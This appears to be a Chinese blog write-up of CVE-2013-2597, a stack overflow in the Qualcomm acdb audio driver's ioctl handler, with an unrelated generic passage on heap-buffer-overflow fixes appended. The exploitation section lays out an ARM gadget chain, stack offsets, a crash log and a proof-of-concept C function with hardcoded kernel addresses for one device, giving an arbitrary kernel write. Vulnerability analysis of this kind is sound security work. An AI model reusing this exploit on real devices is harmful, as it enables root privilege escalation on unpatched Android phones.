Stack-based buffer overflow in acdb audio driver (CVE-2013-2597)

/*

本文章由 莫灰灰 编写,转载请注明出处。  

作者:莫灰灰    邮箱: minzhenfei@163.com

*/

1. 漏洞描述

音频驱动acdb提供了一个ioctl的系统接口让应用层调用,然而,其在处理传进来的参数时没有做有效的边界检查。应用程序可以通过/dev/msm_acdb设备文件就能达到提升权限的目的。


2. 漏洞分析

原始代码如下
if (size <= 0) {
	pr_err("%s: Invalid size sent to driver: %d\n",
		__func__, size);
	result = -EFAULT;
	goto done;
}

if (copy_from_user(data, (void *)(arg + sizeof(size)), size)) {

	pr_err("%s: fail to copy table size %d\n", __func__, size);
	result = -EFAULT;
	goto done;
}

acdb驱动在处理ioctl的时候,只对输入的参数大小做了size<=0的判断,而没有做>的判断,紧接着,copy_from_user(data, (void *)(arg + sizeof(size)), size)的调用造成局部变量data的栈溢出。


3. 漏洞利用
1.原来的流程 - do_vfs_ioctl调用acdb_ioctl后返回
do_vfs_ioctl:
STMPW [SP], { R4-R9, LR }
...
BL acdb_ioctl
...
ADD SP, SP, #$44 // (2)
LDMUW [SP], { R4-R9, PC } // (1)

2.acdb_ioctl其中一段,可以获得控制PC的机会。修改寄存器的位置是 (3),这里可以操作R4-PC的所有数值了
acdb_ioctl:
...
ADD SP, SP, #$84
LDMUW [SP], { R4-R11, PC } // (3)
通过栈溢出,修改R5,R9,PC的值。

3.上面的指令,通过堆栈溢出,控制PC的值,跳转到下面代码执行
STR R5, [R9] // (4)
LDMUW [SP], { R4-R10, PC } // (5)
此处非常关键,主要通过STR指令,将R5的值设置到R9的地址中,即通过栈溢出达到任意地址写的目的。

4.执行(5)之后,为了堆栈平衡,栈要填充 4*8 字节,然后设置下一跳的PC,即返回到(2)那里去
ADD SP, SP, #$24 // (6)
LDMUW [SP], { R4-R9, PC }

5.实际栈的位置和p->data的位置需要硬编码适配。
p->data[...]的値需要初始化的时候设置。
硬编码的地址请在pc上通过崩溃的日志分析。
p->data[i]=i 这样来试探(注:给数据标上相对偏移,方便通过栈来定位),这个例子中,PC在&p->data[0x9c]的位置。
例:
ACDB=> ACDB ioctl not found!
Unable to handle kernel paging request at virtual address 9f9e9d9c
pgd = df56c000
[9f9e9d9c] *pgd=00000000
Internal error: Oops: 80000005 [#1] PREEMPT SMP
Modules linked in:
CPU: 1 Tainted: G W (3.0.8+1.0.21100-02148-g79e6d0e #1)
PC is at 0x9f9e9d9c
LR is at acdb_ioctl+0x740/0x860

6.设置好堆栈布局
((unsigned int)&p->data[0x80]) = value;     //r5: PC - 4*7
((unsigned int)&p->data[0x90]) = address;   //r9: PC - 4*3
((unsigned int)&p->data[0x9c]) = (4)的地址; //pc: PC
((unsigned int)&p->data[0xbc]) = (6)地址;   //pc: PC + 4*8

4. PoC
static int
write_value(const acdb_param *param, unsigned long address, unsigned long value)
{
    const char *device_name = "/dev/msm_acdb";
    struct acdb_ioctl arg;

    int fd;
    int ret;
    int i;

    fd = open(device_name, O_RDONLY);
    if (fd < 0) {
      ALOGI("failed to open %s due to %s.\n", device_name, strerror(errno));
      return -1;
    }

    arg.size = param->pc2.pos + 4;

    for (i = 0; i < arg.size; i += 4) {
      *(unsigned long int *)&arg.data[i] = i;
    }

    *(unsigned long int *)&arg.data[param->address_pos] = address; // R9<span style="white-space:pre">	</span>
    *(unsigned long int *)&arg.data[param->value_pos] = value; // R5
    *(unsigned long int *)&arg.data[param->pc1.pos] = param->pc1.value; // 
    *(unsigned long int *)&arg.data[param->pc2.pos] = param->pc2.value; //

    ret = ioctl(fd, 9999, &arg); // 随意触发一个ioctl,造成堆栈溢出,使得任意地址写入漏洞的触发
    close(fd);

    return 0;
}
其中,param的值对应如下:
{ DEVICE_SO05D_7_0_D_1_137,       { 0x80, 0x90, { 0x9c, 0xc03265d8 }, { 0xbc, 0xc0524d84 } } },


5.漏洞修复
增加了对size上限的控制

 
参考文章:
http://retme.net/index.php/2014/03/31/CVE-2013-2597-acdb.html
https://www.codeaurora.org/projects/security-advisories/stack-based-buffer-overflow-acdb-audio-driver-cve-2013-2597
https://gist.github.com/fi01/5857693



heap-buffer-overflow是一种错误,通常出现在使用C语言编写代码时。它指的是访问了堆中分配的内存块之外的部分,导致数据越界访问。这种错误可能会导致程序崩溃、数据损坏或者安全漏洞的产生。 在解决heap-buffer-overflow问题时,一般需要以下几个步骤: 1. 首先,需要定位具体出错的位置。可以通过调试工具、代码审查或者日志来追踪错误发生的地方。 2. 确认出错的原因。这可能涉及到对代码的仔细分析,包括内存分配、指针操作等。 3. 修改代码,以确保在访问堆中分配的内存时不会越界。可以通过检查数组边界、指针的有效性来避免这种错误。 4. 进行测试和验证,确保修改后的代码能够正常运行,并且不再出现heap-buffer-overflow错误。 需要注意的是,解决heap-buffer-overflow问题可能会因具体情况而异。每个问题都需要具体分析和处理,确保代码的安全性和正确性。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [Leetcode中解决stack/heap-buffer-overflow错误](https://blog.csdn.net/lijianyi0219/article/details/111510086)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [buffer_overflow:缓冲区溢出](https://download.csdn.net/download/weixin_42099633/19247971)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值